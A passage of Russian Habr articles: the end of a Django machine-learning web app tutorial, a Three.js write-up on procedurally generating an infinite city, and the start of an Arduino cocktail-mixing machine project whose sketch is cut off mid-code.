Когда мы кликаем по опции, тип контролируемого или неконтролируемого алгоритма хранится в переменной 'algo', затем в зависимости от того, какой тип выбран, мы запускаем другую модель из опций Scikit-Learn, всё это выглядит так:
```
def upload_csv(request):
if request.method == "POST":
file = request.FILES['csv_file']
df = pd.read_csv(file)
t = []
names = list(df.head(0))
df_target = df
grafica = request.POST['graficas']
if request.POST['submit'] == '_plot':
if grafica == "scatter":
fig = px.scatter_matrix(df_target)
graph_div = plotly.offline.plot(fig, auto_open = False, output_type="div")
context = {'graph_div': graph_div}
return render (request, "plottings.html", context)
if grafica == "heatmap":
fig = go.Figure(data=go.Heatmap(z = df.corr(),x=names,y=names))
graph_div = plotly.offline.plot(fig, auto_open = False, output_type="div")
context = {'graph_div': graph_div}
return render (request, "heatmap.html", context)
if request.POST['submit'] == '_cate':
h = list(df.head(0))
t.append(list(h))
for i in range(0, len(df)):
a = list(df.iloc[i])
t.append(a)
itemsets, rules = apriori(t, min_support=0.2, min_confidence=1)
context = {'rules': rules}
return render(request, "apriori.html", context)
lon = len(list(df.head(0)))
header = list(df[0:lon])
target = header[lon-1]
y = np.array(df[target])
df.drop(target,axis=1,inplace=True)
X = df.values
Z = X
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,random_state=101)
graph_div = ''
pred = ''
algo = request.POST['algoritmo']
grafica = request.POST['graficas']
clasi = request.POST['clasi']
if request.POST['submit'] == '_unsuper':
Nc = range(1, 20)
kmeans = [KMeans(n_clusters=i) for i in Nc]
score = [kmeans[i].fit(Z).score(Z) for i in range(len(kmeans))]
fig = go.Figure(data=go.Scatter(y=score, x=list(Nc), mode='markers'))
fig.update_xaxes(title="Number of Clusters")
fig.update_yaxes(title="Error")
fig.update_layout(autosize=False, width=800,height=500)
graph = plotly.offline.plot(fig, auto_open = False, output_type="div")
nclusters = int(request.POST['clusters'])
kmeans = KMeans(n_clusters=nclusters)
model = kmeans.fit(Z)
labels = kmeans.labels_
resultados = []
for i in labels:
resultados.append(i)
with open('/var/www/trainyourmodel/static/labels.csv', 'w', ) as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
for word in resultados:
wr.writerow([word])
context = {'graph': graph, 'labels': labels}
return render(request, "kmeans.html", context)
if request.POST['submit'] == '_super':
if algo == 'Linear Regression':
lm = LinearRegression()
model = lm.fit(X_train,y_train)
pred = lm.predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse = np.sqrt(metrics.mean_squared_error(y_test,pred))
coef = pd.DataFrame(lm.coef_, df.columns, columns=['Coefficient'])
fig = go.Figure(data=go.Scatter(x=y_test, y=pred, mode='markers'))
fig.update_xaxes(title="Test Sample")
fig.update_yaxes(title="Predictions")
fig.update_layout(autosize=False, width=800,height=500)
scatter = plotly.offline.plot(fig, auto_open = False, output_type="div")
resultados = []
for i in pred:
resultados.append(i)
with open('/var/www/trainyourmodel/static/pred.csv', 'w', ) as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
for word in resultados:
wr.writerow([word])
context = {'pred':pred, 'scatter': scatter, 'mae': mae, 'mse': mse, 'rmse': rmse, 'coef': coef}
return render(request, "scatter.html", context)
if algo == 'Support Vector Machine':
param_grid = {'C':[0.1,1,10,100,1000],'gamma':[1,0.1,0.01,0.001,0.0001]}
grid = GridSearchCV(SVC(),param_grid,verbose=3)
model = grid.fit(X_train,y_train)
pred = grid.predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse = np.sqrt(metrics.mean_squared_error(y_test,pred))
matrix = print(confusion_matrix(y_test,pred))
report = print(classification_report(y_test,pred))
if algo == 'K-Nearest Neighbor':
knn = KNeighborsClassifier(n_neighbors=1)
model = knn.fit(X_train,y_train)
pred = knn.predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse= np.sqrt(metrics.mean_squared_error(y_test,pred))
matrix = confusion_matrix(y_test,pred)
report = classification_report(y_test,pred)
if algo == 'Naive Bayes':
gnb = GaussianNB()
pred = gnb.fit(X_train, y_train).predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse = np.sqrt(metrics.mean_squared_error(y_test,pred))
matrix = confusion_matrix(y_test,pred)
report = classification_report(y_test,pred)
if algo == 'Decision Trees':
dtree = DecisionTreeClassifier()
model = dtree.fit(X_train,y_train)
pred = dtree.predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse = np.sqrt(metrics.mean_squared_error(y_test,pred))
matrix = confusion_matrix(y_test,pred)
report = classification_report(y_test,pred)
if algo == 'Random Forest':
forest = RandomForestClassifier(n_estimators=200)
model = forest.fit(X_train,y_train)
pred = forest.predict(X_test)
mae = metrics.mean_absolute_error(y_test,pred)
mse = metrics.mean_squared_error(y_test,pred)
rmse = np.sqrt(metrics.mean_squared_error(y_test,pred))
matrix = confusion_matrix(y_test,pred)
report = classification_report(y_test,pred)
resultados = []
for i in pred:
resultados.append(i)
with open('/var/www/trainyourmodel/static/pred.csv', 'w', ) as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
for word in resultados:
wr.writerow([word])
context = {'matrix00': matrix[0][0], 'matrix01': matrix[0][1], 'matrix10': matrix[1][0], 'matrix11': matrix[1][1], 'mae': mae, 'mse': mse, 'rmse': rmse, 'f1': report[0:52], 'f2': report[54:106], 'f3': report[107:159], 'f4': report[160:213]}
return render(request, "upload_csv.html", context)
```
Наконец, если вы нажмёте на кнопку «deep learning» в верхней части сайта, то перейдёте на другой экран, входные данные на этом экране берутся функцией под названием `neural`, которая будет работать с нейронными сетями. Есть два типа сетей на выбор: «mean-squared-error» или «binary cross-entropy». Как только функция проверяет тип сети для запуска, она берёт эпохи, пакет, значения плотности и выводит на экран модель Keras, показывая точность прогнозов, получается что-то вроде этого:
```
def neural(request):
if request.method == "POST":
file = request.FILES['file']
df = pd.read_csv(file)
df_target = df
lon = len(list(df.head(0)))
dim = len(list(df.head(0))) -1
header = list(df[0:lon])
target = header[dim]
y = np.array(df[target])
df.drop(target,axis=1,inplace=True)
X = df.values
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3,random_state=101)
graph_div = ''
pred = ''
red = request.POST['red']
dense = int(request.POST['dense'])
epochs = int(request.POST['epochs'])
batch = int(request.POST['batch'])
#nodes = int(request.POST['categories'])
if red == 'Binary Cross-Entropy':
model= Sequential()
model.add(Dense(dense, input_dim=dim, activation='relu'))
model.add(Dense(dim, activation='relu'))
model.add(Dense(1, activation='sigmoid'))
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
model.fit(x=X_train,y=y_train,batch_size=batch, epochs=epochs,shuffle=True)
pred = model.predict(X_test)
_, accuracy = model.evaluate(X_test, y_test)
accu = (accuracy*100)
resultados = []
for i in pred:
resultados.append(i[0])
with open('/var/www/trainyourmodel/static/pred.csv', 'w', ) as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
for word in resultados:
wr.writerow([word])
context = {'accu': accu, 'pred': pred}
return render(request, "neural.html", context)
if red == 'Mean Squared Error':
model = Sequential()
model.add(Dense(dense, input_dim=dim, activation='relu'))
model.add(Dense(1, activation='linear'))
model.compile(loss='mean_squared_error', optimizer='adam', metrics=['accuracy'])
model.fit(x=X,y=y,batch_size=batch, epochs=epochs,shuffle=True)
pred = model.predict(X_test)
_, accuracy = model.evaluate(X_test, y_test)
resultados = []
for i in pred:
resultados.append(i[0])
with open('/var/www/trainyourmodel/static/pred.csv', 'w', ) as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
for word in resultados:
wr.writerow([word])
accu = (accuracy*100)
context = {'accu': accu, 'pred': pred}
return render(request, "neural.html", context)
```
Заключение
----------
В этом проекте мы увидели, как сравнительно легко внедрить приложение для компьютерного обучения на сервере Linux с помощью Django, мы могли бы также использовать Flask (еще одно популярное приложение на Python) или многие другие технологии. Дело в том, что, если вы просто хотите, чтобы ваша модель работала на фронтенде сайта, чтобы пользователи могли ею пользоваться, вам нужно лишь встроить свои модели в функции, которые принимают входные данные, настроенные пользователями.
Обратите внимание, что мы делали всё на лету, не нуждаясь в базе данных. Это очень маленький навык, если вы являетесь инженером-машиностроителем и вам необходимо быстро построить и развернуть модель. Проблема с реальными платформами машинного обучения заключается в том, что им необходимо принимать огромные объёмы данных от тысяч пользователей и хранить пользовательскую информацию, то есть проблема этих платформ заключается не в сложности выполняемых ими моделей, а в сложности облачных операций, которые они выполняют, чтобы иметь возможность справляться с их рабочей нагрузкой. Что ж, на сегодня всё, надеюсь, вам понравился этот проект и понравилось программировать его!
---
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=220121)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=220121)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=220121)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=220121)
**Другие профессии и курсы**
**ПРОФЕССИИ**
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=220121)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=220121)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=220121)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=220121)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=220121)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=220121)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=220121)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=220121)
---
**КУРСЫ**
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=220121)
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=220121)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=220121)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=220121)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=220121) | https://habr.com/ru/post/538320/ | null | ru | null |
# История бесконечного города. На Three.js
WebGL — одна из самых интересных новых технологий, которая способна удивительным образом преобразовать интернет. На базе этой технологии уже создано несколько движков, которые позволяют без лишних усилий создавать удивительные вещи, и наиболее известный из них Three.js. Познакомится с ним было моим давним желанием, и лучший способ сделать это — создать что-нибудь интересное. Первой идей было набросать “воодушевляющую” сцену на Three.js содержащую как большое количество полигонов, источников освещения и частиц, так и имеющую, при этом, какой-то осмысленный контекст. Вскоре, эта идея превратилась в желание создать бесконечный город в который можно было бы погрузиться сквозь браузер.
Стоит сказать, что статья посвящена не всему построению целиком, а лишь решению наиболее интересных проблем, с которыми пришлось столкнуться по мере создания сцены.
#### Построение дорог
Окунувшись в работы, найденные в интернете, посвященные процедурному созданию виртуальных городов, я обнаружил, что как правило, для построения дорог используется следующий алгоритм:
1. Строится одна или несколько направляющих дорог из одной или нескольких точек, которые постепенно растут.
2. При росте, с определенной вероятностью, дорога может повернуть на некоторый градус, либо породить другую дорогу растущую ей перпендикулярно с погрешностью в несколько градусов.
3. Как только дорога достигает предельной длины, либо пересекается с другой дорогой, ее рост прекращается.
Выглядит это примерно так:
Результат работы такого алгоритма выглядит весьма естественно, однако имеет несколько серьезных недостатков:
1. Высокая временная сложность: для каждого момента времени построения, нужно пройтись по всем дорогам увеличив их на некую величину. И для каждой отдельной дороги, нужно пройтись по всем недостроенным дорогам, что бы найти возможные пересечения.
2. Невозможно воспроизвести участок дороги, если ключевые точки (из которых начинается построение) оказались за пределами видимости, а значит, необходимо создавать большое количество не нужных в конкретный момент данных.
Эти недостатки не позволяют строить город “на лету”. Поэтому нужно было придумать другой алгоритм, который был бы лишен этих недостатков и при этом давал достаточно схожий результат. Идея заключалась в том, чтобы не “выращивать” полотно дорог, а построить массив точек — пересечений дорог и уже после соединить их линиями. Детально алгоритм выглядит следующим образом:
1. Строится полотно равноудаленных (с некоторой случайной погрешностью) точек, которые будут является центрами нашего города. Для каждой точки определяется размеры и форма в пределах которой будет происходить дальнейшее построение.
2. Для каждой точки, в рамках определенной формы, строится свое полотно равноудаленных (на значительно меньшее расстояние и так же имеющие некоторую погрешность) точек, которые будут являться пересечением дорог.
3. Точки которые стоят слишком близко друг к другу удаляются.
4. Ближайшие точки соединяются.
5. Для каждой точки строится некоторое количество “зданий” равное количеству соединений у точки. (Здание занесено в кавычки, так так по идее это не само здание, а форма в пределах которой это здание может быть построено, с уверенностью, что оно не будет пересекаться с другими зданиями)
Таким образом весь город строится без тяжелого поиска пересечений, и может быть воссоздан из любой начальной точки. Однако алгоритм все же имеет недостатки:
1. Пересечения все же иногда происходят, хотя их вероятность достаточно низка.
2. Иногда возникают обособленные участки города не соединенные трассой с остальным городом.
Выглядит работа алгоритма следующим образом:
*Красный — радиус просмотра
Желтый — предельный радиус построения*
#### Построение зданий
Что бы ускорить вывод комплексной геометрии в Three.js существует модуль работы с буферной геометрией, который позволят создавать сцены с невероятным количеством элементов ([пример](http://alteredqualia.com/three/examples/webgl_buffergeometry_perf2.html)). Однако, что бы все работало быстро, все здания необходимо хранить в одном едином меше, а значит и с единым материалом, которому требовалось передать несколько текстур зданий, чтобы хоть немного их разнообразить. И хотя передать массив текстур в шейдер проблемой не является, для этого в three.js существует специальный тип униформы, проблемой оказалось то, что в GLSL ES 1.0 (который используется для компиляции шейдеров в WebGL) нельзя в качестве индекса массива использовать не константу, а значит и использовать переданный номер текстуры для каждого конкретного здания.
Решение нашлось в том, что в качестве индекса можно использовать итератор цикла. Выглядит это примерно так:
```
const int max_tex_ind = 3; //Максимальное количество текстур
uniform sampler2D a_texture [max_tex_ind]; //Массив текстур
varying int indx; //Индекс используемой текстуры (индекс передается в вертексный шейдер, как параметр для каждой вершины)
...
void main() {
vec3 tex_color;
for (int i = 0; i < max_tex_ind; i++) {
if (i == indx) {
tex_color = texture2D(a_texture[i],uv).xyz;
}
}
...
}
```
Конечно, такое решение будет работать хорошо лишь в том случае, если максимальное количество текстур не велико. Альтернативное решение может заключаться в том, чтобы использовать одну большую текстуру, склеенную из необходимых текстур, однако в таком случае придется пожертвовать качеством каждой отдельной текстуры.
#### Освещение
Для придания городу большей визуальной привлекательности я решил добавить освещение имитирующее свет уличных фонарей. Конечно для решения этой задачи не подходит стандартное освещение используемое в Three.js количество которого значительно ограничено, в то время, как в среднем на сцене присутствует ~8000 источников освещения. Однако все это освещение равноудалено от основания, а значит и обрабатывать каждую точку в отдельности как источник освещения совсем необязательно, вместо этого можно создать текстуру освещенности, еще на стадии генерации города. Так выглядит такая текстура:
Все что остается сделать непосредственно в шейдере, это найти интенсивность отражения света от плоскости и умножить ее на заданную в текстуре освещенность.
Здесь можно пойти чуть дальше. Если источники освещения не пересекаются, можно создать еще одну текстуру, где сохранить высоту на которой находится источник освещения, и благодаря этому, размещать сцену на рельефной поверхности.
#### Плавное построение
Эта задача оказалась наиболее простой, так как простой была основная идея: необходимо строить город на несколько большее расстояние, чем видит пользователь и пока он передвигается от одной ключевой точки к другой, заново генерировать город исходя уже из следующей ключевой точки. Главное, ограничить скорость передвижения пользователя таким образом, чтобы за время перемещения к следующей точке + время построения, нельзя было достигнуть границы заранее построенной части города.
Что же касается самой генерации, вся она была разделена на множество стадий, при этом для каждой стадии велась статистика (которую можно посмотреть зайдя в консоль браузера) того как много времени процессора занимает та или иная стадия на фрейм, и если это время было больше некоторого значения, стадия делилась на несколько подстадий до тех пор пока это не позволяло достичь стабильно высокого FPS.
#### Результат
Сама сцена и исходный код: [тут](http://mylittlerapture.com/three.js/Infinite_city.html)
Видео версия: | https://habr.com/ru/post/278043/ | null | ru | null |
# Цифровой бармен. Arduino проект для совершеннолетних начинающих электронщиков. Часть 1
У меня много друзей. Молодые парни, мужчины средних лет и конечно дамы всех возрастов. Наверное всех. Трудно определить возраст современной женщины. Да и не очень хочется.
Так вот. Детей моих друзей и знакомых в силу своих возможностей я увлекаю электроникой. Строим маленьких роботов, жучков светлячков всяких и даже световые мечи. У детей почти всегда всё получается и они, конечно, бегут хвастаться ожившей электроникой родителям. И так раз за разом. Но однажды одна из моих знакомых, глядя на очередной всплеск гордости у своей дочери, говорит – я тоже хочу вникнуть в эту электронику, и программирование, и может даже что-то спаять. Не вопрос. Давай покажу, как собрать робота на колесной платформе. Будет ездить по полоске на полу. Или игру сделаем, питона например, или просто поморгаем светодиодами, или … Перебрали множество примеров. Получается если для начинающих, то всё какое-то детское, а если не детское, то совсем уже не для начинающих. Что-то не так! Нужны уроки для НАЧИНАЮЩИХ, ВЗРОСЛЫХ электронщиков. Пусть это будет – цифровой бармен или машина для смешивания коктейлей.
Проект на сегодняшнюю дату не закончен. Если что нужно добавить пишите прямо в комментариях. На фото стенд, на котором можно рассмотреть конструкцию этого бармена.
А это схема в стиле Arduino проектов.
Теперь конструкция и логика работы. По схеме и фото.
В четыре бутылки опущены принимающие трубки четырех микронасосов. Эти микронасосы подключены к четырем ключам собранных на полевых транзисторах MOSFET. Ключи в свою очередь подключены к выводам 3,5,6,9 любой Ардуины (дальше если написано к выводу \*\*, это значит вывод Ардуины). Это исполнительная часть. Логика работы исполнительной части задается пятью потенциометрами. По порядку: самым левым потенциометром, подключенным к выводу A4, выставляем объем бокала, в котором будем готовить коктейль. Над ним вы видите шкалу из 16-ти RGB светодиодов с так называемой пиксельной адресацией WS2812b. Когда мы крутим первый потенциометр на шкале последовательно зажигаются светодиоды, условно показывающие объем бокала. Эта шкала подключена к выводу 11.
Следующими четырьмя ползунковыми потенциометрами (подключенными к выводам A0, A1, A2, A3) устанавливаем ту пропорцию от общего объема напитка, который нам нужно налить из конкретной бутылки. Над ползунками маленькие шкалы из 8 светодиодов каждая (подключены последовательно к длинной). Двигая потенциометрами, выбираем пропорцию и маленькие шкалы, снизу вверх, закрашиваются каждая своим цветом. Одновременно левая длинная шкала, вернее её первоначально зажженная часть раскрашивается в эти же цвета пропорционально маленьким.
Сразу видим состав коктейля. Нажимаем кнопку (вывод 7), и насосы последовательно слева направо включаются, подгоняя напитки в бокал.
В скетче можно настроить:
1. Активные цвета всех шкал, их фоновую подсветку.
2. Скорость работы помп, путем широтно-импульсной модуляции. Поэтому насосы включают не реле, а транзисторные ключи. Это нужно если вы, например, будете использовать автомобильную помпу омывателя стекла. Она очень производительная.
3. Максимальный физический объем бокала. По умолчанию 750 мл.
4. Время подсоса жидкости до включения отсчета и индикации. Это для того чтобы заполнить опустевшую трубку во время паузы.
5. Паузу перед подачей из следующей бутылки.
6. Размер шкал в светодиодах. По умолчанию установлено 16 светодиодов в большой шкале и по восемь светодиодов в маленьких. Можно изменить, как хотите. Будет красиво.
Как-то так.
Это ролик с демонстрацией.
Предлагаю собрать эту конструкцию начинающим электронщикам. Залить в Ардуину скетч и проиграться настройками бармена. Когда глаза привыкнут к коду и вы будете ориентироваться в строчках можно будет добавлять новые функции, например кнопку Стоп или кнопку Лёд. Последняя может автоматически уменьшать общий объем напитка пропорционально объему кубика льда.
Я надеюсь, что подобные проекты увлекут взрослых начинающих электронщиков-программистов. И они потихоньку разобравшись в конструкции и коде вместе со своими детьми поднимут уважение к себе ещё на несколько уровней.
Хороших выходных!
А в заключении также как и в ролике, я порошу сделать замечания и предложения. Я учту это в продолжении и в реально действующем проекте.
Код (скетч) можно скачать [здесь](https://lib.chipdip.ru/697/DOC002697587.zip). Или посмотреть:
Понадобится [Adafruit\_NeoPixel.h](https://lib.chipdip.ru/462/DOC002462464.zip) — библиотека для светодиодов и [PinChangeInt.h](https://lib.chipdip.ru/495/DOC001495456.zip) — библиотека для прерываний.
```
#include
#include
#define START\_PIN 7
#define LEDS\_PIN 11
#define VOLUME\_1\_PIN A0
#define VOLUME\_2\_PIN A1
#define VOLUME\_3\_PIN A2
#define VOLUME\_4\_PIN A3
#define TOTAL\_VOLUME\_PIN A4
#define ACT\_1\_PIN 3
#define ACT\_2\_PIN 5
#define ACT\_3\_PIN 6
#define ACT\_4\_PIN 9
#define DRINKS\_NUM 4
#define PIXEL\_IN\_STICK 8
#define PIXEL\_IN\_DRINK PIXEL\_IN\_STICK
#define PIXEL\_IN\_VOLUME (2 \* PIXEL\_IN\_STICK)
#define PIXEL\_NUM (DRINKS\_NUM \* PIXEL\_IN\_DRINK + PIXEL\_IN\_VOLUME)
#define VOLUME\_START\_PIXEL 0
#define DRINKS\_START\_PIXEL (VOLUME\_START\_PIXEL + PIXEL\_IN\_VOLUME)
#define DRINK\_START\_PIXEL(DRINK) (DRINKS\_START\_PIXEL + DRINK \* PIXEL\_IN\_DRINK)
#define BACKGROUND\_COLOUR ((uint32\_t) 0x000001)
#define SHADOW\_1\_COLOUR ((uint32\_t) 0x000100)
#define SHADOW\_2\_COLOUR ((uint32\_t) 0x000100)
#define SHADOW\_3\_COLOUR ((uint32\_t) 0x000100)
#define SHADOW\_4\_COLOUR ((uint32\_t) 0x000100)
#define PROCESS\_1\_COLOUR ((uint32\_t) 0xFF0000)
#define PROCESS\_2\_COLOUR ((uint32\_t) 0x0100ff)
#define PROCESS\_3\_COLOUR ((uint32\_t) 0x111100)
#define PROCESS\_4\_COLOUR ((uint32\_t) 0xFF00FF)
#define VOLUME\_PROCESS\_COLOUR ((uint32\_t) 0x888888)
#define DataThreshold ((uint16\_t) (1024/PIXEL\_IN\_DRINK))
#define DataThresholdVol ((uint16\_t) (1024/PIXEL\_IN\_VOLUME))
#define PROCESS (1 << 0)
#define mlToTimeCoef 10 //время на подачу 1 мл жидксти, мс
#define MIN\_VOLUME 1 //минимальный учитываемый объем, мл
#define MAX\_VOLUME ((uint32\_t) 750) //мл
#define mlForLED ((float)((float)MAX\_VOLUME / (float)PIXEL\_IN\_VOLUME))
#define PREPROCESS\_DELAY ((uint32\_t) 2000) //мс
#define PUMP\_POWER ((uint16\_t) 255) //от 0 (выключен) до 255 (максимум)
#define WaitShowDelay ((uint16\_t) 300) //2 \* WaitShowDelay - период моргания ожидающей жидкости
#define WaitCycle 3 //циклы ожидания время ожидания = WaitCycle \* 2 \* WaitShowDelay
#define EndDelay ((uint16\_t) 2500) //пауза в конце
typedef struct
{
uint8\_t VolPin;
uint8\_t ActPin;
uint16\_t Volume; //показания АЦП
uint32\_t ProcColour;
uint32\_t ShadColour;
float mlVol; //мл в зависимости от общего объема и доли напитка
uint8\_t LEDsNum;
uint8\_t LEDsPos;
} DrinkType;
Adafruit\_NeoPixel LEDS = Adafruit\_NeoPixel(PIXEL\_NUM, LEDS\_PIN, NEO\_GRB + NEO\_KHZ800);
uint8\_t State = 0;
uint16\_t TotalVolume = 0;
float TotalVolml = 0;
uint8\_t TotVolActLEDs = 0;
bool ColourMix = false;
uint32\_t NewColour = 0;
bool SystemChange = false;
DrinkType Drinks[DRINKS\_NUM];
void setup()
{
digitalWrite(START\_PIN, HIGH);
uint8\_t VolPINs[DRINKS\_NUM] = {VOLUME\_1\_PIN, VOLUME\_2\_PIN, VOLUME\_3\_PIN, VOLUME\_4\_PIN};
uint8\_t ActPINs[DRINKS\_NUM] = {ACT\_1\_PIN, ACT\_2\_PIN, ACT\_3\_PIN, ACT\_4\_PIN};
uint32\_t ProcCOLOURs[DRINKS\_NUM] = {PROCESS\_1\_COLOUR, PROCESS\_2\_COLOUR, PROCESS\_3\_COLOUR, PROCESS\_4\_COLOUR};
uint32\_t ShadCOLOURs[DRINKS\_NUM] = {SHADOW\_1\_COLOUR, SHADOW\_2\_COLOUR, SHADOW\_3\_COLOUR, SHADOW\_4\_COLOUR};
for(uint8\_t i = 0; i < DRINKS\_NUM; i++)
{
Drinks[i].VolPin = VolPINs[i];
Drinks[i].ActPin = ActPINs[i];
pinMode(Drinks[i].ActPin, OUTPUT);
digitalWrite(Drinks[i].ActPin, LOW);
Drinks[i].Volume = 0;
Drinks[i].ProcColour = ProcCOLOURs[i];
Drinks[i].ShadColour = ShadCOLOURs[i];
Drinks[i].LEDsPos = 0;
}
PCintPort::attachInterrupt(START\_PIN, &START\_ISR, FALLING);
LEDS.begin();
for(byte i=0; i < PIXEL\_NUM; i++)
LEDS.setPixelColor(i, BACKGROUND\_COLOUR);
LEDS.show();
}
//----------------------------------------
void loop()
{
if ((State & PROCESS) != PROCESS)
{
uint16\_t Data;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
Data = analogRead(Drinks[cup].VolPin);
if (abs(Data - Drinks[cup].Volume) >= DataThreshold)
{
Drinks[cup].Volume = Data;
if (Drinks[cup].Volume > 975)
Drinks[cup].Volume = 1024;
uint8\_t StartPixel = DRINK\_START\_PIXEL(cup);
for(byte i = StartPixel; i < (StartPixel + PIXEL\_IN\_DRINK); i++)
LEDS.setPixelColor(i, Drinks[cup].ShadColour);
for(byte i = StartPixel; i < (StartPixel + (Drinks[cup].Volume / DataThreshold)); i++)
LEDS.setPixelColor(i, Drinks[cup].ProcColour);
SystemChange = true;
}
}
Data = analogRead(TOTAL\_VOLUME\_PIN);
if (abs(Data - TotalVolume) >= DataThresholdVol)
{
TotalVolume = Data;
if (TotalVolume > 975)
TotalVolume = 1024;
TotVolActLEDs = TotalVolume / DataThresholdVol;
for(byte i = VOLUME\_START\_PIXEL; i < (VOLUME\_START\_PIXEL + PIXEL\_IN\_VOLUME); i++)
LEDS.setPixelColor(i, BACKGROUND\_COLOUR);
SystemChange = true;
}
if (SystemChange)
{
TotalVolml = (float)((TotalVolume \* MAX\_VOLUME) / 1024);
uint16\_t MinVol = 1025;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
if ((Drinks[cup].Volume < MinVol) && (Drinks[cup].Volume != 0))
MinVol = Drinks[cup].Volume;
}
float OnePartVol = 0;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
Drinks[cup].mlVol = (float)Drinks[cup].Volume / (float)MinVol;
OnePartVol += Drinks[cup].mlVol;
}
OnePartVol = TotalVolml / OnePartVol;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
Drinks[cup].mlVol \*= OnePartVol;
Drinks[cup].LEDsNum = Drinks[cup].mlVol / mlForLED;
if ((Drinks[cup].mlVol > 0) && (Drinks[cup].LEDsNum < 1))
Drinks[cup].LEDsNum = 1;
}
uint8\_t LEDsSum = 0;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
LEDsSum += Drinks[cup].LEDsNum;
if ((LEDsSum > 0) && (LEDsSum <= TotVolActLEDs))
{
uint8\_t LedsNumMAX = Drinks[0].LEDsNum;
uint8\_t LedsNumMAXPos = 0;
for(uint8\_t cup = 1; cup < DRINKS\_NUM; cup++)
{
if (Drinks[cup].LEDsNum > LedsNumMAX)
{
LedsNumMAX = Drinks[cup].LEDsNum;
LedsNumMAXPos = cup;
}
}
Drinks[LedsNumMAXPos].LEDsNum += TotVolActLEDs - LEDsSum;
Drinks[0].LEDsPos = VOLUME\_START\_PIXEL;
for(uint8\_t cup = 1; cup < DRINKS\_NUM; cup++)
Drinks[cup].LEDsPos = Drinks[cup - 1].LEDsPos + Drinks[cup - 1].LEDsNum;
ColourMix = false;
}
else if (LEDsSum > TotVolActLEDs)
{
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
Drinks[cup].LEDsNum = TotVolActLEDs;
Drinks[cup].LEDsPos = VOLUME\_START\_PIXEL;
}
ColourMix = true;
NewColour = 0;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
NewColour |= Drinks[cup].ProcColour;
}
bool EmptyCup = true;
for(uint8\_t cup = 0; cup < DRINKS\_NUM; cup++)
{
if (Drinks[cup].LEDsNum != 0)
{
EmptyCup = false;
break;
}
}
if (EmptyCup)
{
for(byte i = VOLUME\_START\_PIXEL; i < (VOLUME\_START\_PIXEL + TotVolActLEDs); i++)
LEDS.setPixelColor(i, VOLUME\_PROCESS\_COLOUR);
}
else
{
if (ColourMix)
{
for(byte i = VOLUME\_START\_PIXEL; i < (VOLUME\_START\_PIXEL + TotVolActLEDs); i++)
LEDS.setPixelColor(i, NewColour);
